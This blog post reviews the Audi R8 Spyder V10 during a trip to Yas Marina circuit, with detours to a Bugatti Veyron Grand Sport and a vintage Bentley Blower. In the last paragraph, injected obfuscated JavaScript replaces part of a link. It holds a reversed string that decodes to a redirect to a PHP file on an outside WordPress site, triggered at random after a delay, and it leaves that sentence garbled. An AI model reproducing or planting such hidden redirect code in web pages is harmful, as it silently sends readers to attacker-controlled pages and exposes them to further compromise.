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I’m quite a fan of the Audi R8 – especially in V10 guise. I was lucky enough to attend the international press launch of the Coupe a few years back which was held in Southern Spain. Alongside some driving on some tight and twisty country roads, there was an open session at the nearby Ascari circuit. However, I’m never that comfortable on track so I bagged the keys to the sole manual car and disappeared off into the hills for a few hours. As you might imagine, it was all rather epic – the V10 engine and that clicketty-clacketty gearbox combine to make a mega driving experience. Why then have I become rather smitten by this R8 – the lop-top Spyder fitted with Audi’s polarising R-tronic gearbox?
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Well for a start, that 518bhp Lambo V10 engine still sits slap back behind the seats and removing the roof just brings all that awesome exhaust noise into the cabin when you’re tanking along. You even get the benefit should you decide to roll around with the canvas roof up as the rear glass can be dropped to let the sounds in, but the elements out.
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Audi has always scored highly when it comes to interiors, and the R8 Spyder’s cabin is no exception. Everything is beautifully finished – especially the optional carbon pack that Audi has bestowed on its press car. The only slight downer is the oversized GCC-spec fire extinguisher that robs useful space from the passenger footwell.
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Though the Spyder loses out on the Coupe’s sideblades and see-through engine cover, there’s no doubting that this R8 is a cracking looking car. It’s much less ostentatious than its second-cousin-once-removed, the Lamborghini Gallardo Spyder, and draws plenty of admiring glances from the fairer sex when you’re out and about.
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Naturally, tunnels are a perfect location to fully enjoy the sounds from that engine shrieking its way out of the oval exhaust pipes. Along with the chunky double-five spoke alloys, the exhausts are one of the few visual changes that differentiate a V10-ed R8 from the V8 version. The lesser 414bhp version of the Spyder should drop into our market early 2011.
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If you haven’t guessed it yet, we took the R8 Spyder on a little jaunt up to Yas Marina whist we had our sweaty mits on the car. In actual fact, we somehow persuaded Audi to let us have the Spyder on three different occasions – it’s one of those cars that really gets under your skin the more time you spend with it. It also helps that it looks absolutely stonking finished in solid Brilliant Red paint.
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We were up at Yas for a brief meeting, but managed to get ourselves cleared through security onto the in-roads around the circuit and spent a few hours hawking around having a nose around and generally making a nuisance of ourselves. There was no hooliganism going on though – you really don’t need to thrap the R8 Spyder around – it’s much more comfortable just cruising. In relaxing driving situations, the Audi’s R-tronic gearbox just about makes a decent case for itself as it shifts reasonably smoothly between the ratios. It’s only when you start to hustle the car about that you really want for the six-speed manual.
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We snapped a few shots around the Marina and outside the Media Centre, but then decided to have a nose around the drag strip. Hot Rod Fuller at the drag strip rolls around in a Lamborghini Murcielago back at home in the US, so we wondered what he might think of the Audi. I sneaked in through the side door in search of Rod whilst Phil wandered around the paddock area.
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Unfortunately Rod was holed up in a meeting with his team, so I didn’t want to intrude. We resisted the temptation of hitting the quartermile as we didn’t want to burn our bridges with the Yas guys and gals. Had we done, I’m sure the Spyder would have had no trouble in hitting its official 0-100kph time of 4.1secs. Its top speed is a rather fruity 312kph – though we would need a little more than 1320ft to hit that mark.
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So, with no drag action on the cards, we jumped back in the Spyder and pottered back to the pitlane. We had it on good authority that there was some interesting metal out on the Northern loop of the circuit and thought we might pop our head around the door to see what was going on.
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We were greeted by the sight of this – the Bugatti Veyron Grand Sport. It wasn’t out on track, just sitting pretty in the pit garage. Bentley had the track booked for some customer trackdays and lifestyle media, and Bugatti brought the Veyron along to add a touch of awesomeness to the day. Lurking behind the Veyron was the new Bentley Arnage, but we were drawn to the big Bug.
I’ve actually had first hand experience of this exact car on the rather epic Kalba run down to the East Coast of the UAE. Seriously, this car is utterly mind-bending in its abilities not only to reach quite ridiculous speeds, but to also transfer all of its 987bhp onto the road. Anyone who drives this car anywhere near the edge of its abilities needs to be applauded.
I also spent a day with this car in Qatar in my previous life at CAR Middle East when I helped the CAR UK boys out on a photoshoot. It was a twin-test of sorts with the Lamborghini Murcielago SV – needless to say, that’s a day I won’t be forgetting!
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Anyway, back to Yas… Alongside the full contingent of Continentals, Flying Spurs and Supersports, Bentley had flown in one of its priceless Blowers in for passenger laps. We asked if it would be okay to take a couple of shots of the car, only to be told that we could have a passenger ride in the old girl!
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We didn’t need asking twice, so strapped on some fetching Yas helmets and jumped in. For a car that’s knocking on being 80, the old girl was in fine fettle and happily spent the whole day lapping the track with no respite. Charging down the main straight on one of the world’s newest circuits in one of the world’s oldest racing cars was a little surreal to say the least. And while the car was plenty comfortable chuntering along all day, the guy from Bentley who was behind the wheel had his hands – quite literally – full. Double declutching and armfuls of steering lock was the order of the day.
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So with that slightly bizarre, but extremely pleasant diversion out of the way – thanks Chris & Janice at Bentley! – we jumped back in the Spyder and brought ourselves back to the 21st Century. It’s quite remarkable just how far motoring has come along in the past eight decades. That Bentley has just 175bhp and was considered to be one of the most powerful cars of its era. Nowadays you can buy a Renault Clio with more power.
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We hot footed it back to Dubai down the ever-delightful E11 drag and pulled back up at the C&P Ranch where I’d left the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20103716/audi-tt-rs-do-not-underestimate-this-car/”>Audi TT RS. Though this pairing are as different as they are similar, it’s a tough call between the two. If it came down to it however, I think the blue bundle might just take the edge.
